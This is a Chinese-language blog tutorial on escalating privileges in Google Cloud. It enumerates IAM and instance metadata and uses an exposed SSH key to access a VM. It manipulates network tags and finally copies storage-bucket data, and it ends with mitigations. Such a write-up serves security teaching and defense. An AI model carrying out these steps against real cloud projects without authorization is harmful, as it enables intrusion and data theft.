滥用GCP计算实例IAM配置错误实现权限提升

本文详细介绍了如何利用GCP计算实例IAM配置错误、元数据暴露和网络标签操纵实现权限提升,从无权限账户逐步获取项目存储桶数据访问权限的完整攻击链。

滥用计算实例IAM配置错误在GCP中获取权限

在之前的文章中,我们学习了如何从配置错误的云函数中窃取访问令牌。这种配置错误允许任何用户调用该函数并获取其他服务账户的令牌。

在本文中,我们将在此基础上探索如何通过计算实例IAM配置错误滥用新服务账户在GCP环境中获取额外权限。

理解计算实例

实例是托管在Google基础设施上的虚拟机(VM)。可以使用密码、SSH或RDP访问实例。公共SSH密钥可以通过实例元数据在实例级别和通过项目元数据在项目级别进行管理。

另一种访问实例的方式是通过OS Login功能。启用后,OS Login允许具有(roles/compute.osLogin或roles/compute.osAdminLogin)角色的用户直接登录,无需SSH密钥或密码。相反,身份验证通过IAM策略处理。

计算实例的IAM策略变更

以前,在GCP中创建新实例时,通常会分配默认服务账户,其格式为([PROJECT_NUMBER]-compute@developer.gserviceaccount.com)。此默认服务账户在项目级别具有Editor角色。

IAM更新

新项目中的默认服务账户不再默认授予roles/editor,而是授予更严格的角色,如roles/compute.serviceAgent,该角色将访问权限限制为仅必要的计算引擎操作。

如果默认服务账户具有Editor角色,则新更新要求用户或其他服务账户具有模拟权限(iam.serviceAccounts.actAs)才能代表默认服务账户操作并利用Editor角色。

OAuth范围

创建新实例时,常见的OAuth范围包括:

  • 对所有启用的云服务的完全访问权限—https://www.googleapis.com/auth/cloud-platform
  • 对计算引擎资源的完全访问权限—https://www.googleapis.com/auth/compute
  • 对存储桶的只读访问权限—https://www.googleapis.com/auth/devstorage.read_only

利用步骤

1. 检查新访问账户的IAM策略

使用以下命令检查项目级别的IAM策略:

1
gcloud projects get-iam-policy [PROECT NAME] --flatten="bindings[].members" --filter="bindings.members=serviceaccount:SERVICE ACCOUNT" --format="value(bindings.role)"

2. 枚举计算实例

检查项目中的可用实例:

1
gcloud compute instances list

获取实例元数据以收集更多信息:

1
gcloud compute instances describe [INSTANCE_NAME] --zone=[ZONE]

3. 枚举计算实例IAM策略

检查实例本身的IAM策略:

1
gcloud compute instances get-iam-policy [INSTANCE NAME] --zone [ZONE NAME]

4. 枚举项目元数据

检查项目范围的元数据:

1
gcloud compute project-info describe --project [PROJECT NAME]

5. 使用SSH访问实例

创建SSH私钥文件并设置权限:

1
2
chmod 600 [private-ssh-key]
ssh -i private-ssh-key developer@IP_ADDRESS

6. 枚举防火墙规则

检查防火墙规则:

1
gcloud compute firewall-rules list

7. 向实例添加标签

添加网络标签以允许SSH流量:

1
gcloud compute instances add-tags [INSTANCE NAME] --zone [ZONE NAME] --tags=[TAG NAME] --access-token-file=[FILE NAME]

8. 读取存储桶

使用gsutil命令与存储桶交互:

1
2
3
gsutil ls
gsutil ls gs://[BUCKET NAME]
gsutil cp gs://[BUCKET NAME]/[FILE NAME] [LOCAL_PATH]

缓解策略

  • 禁用项目和实例元数据向任何用户公开
  • 切勿在实例元数据中存储私钥
  • 通过移除compute.instances.setTags权限进一步限制访问
  • 仅将此权限授予需要它的特定用户

在本文中,我们演示了攻击者如何通过利用计算实例IAM配置错误、元数据暴露和网络标签操纵在GCP中提升权限。通过利用最初受损的服务账户,我们从没有分配任何角色的账户逐步升级到访问和下载项目存储桶中的数据。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计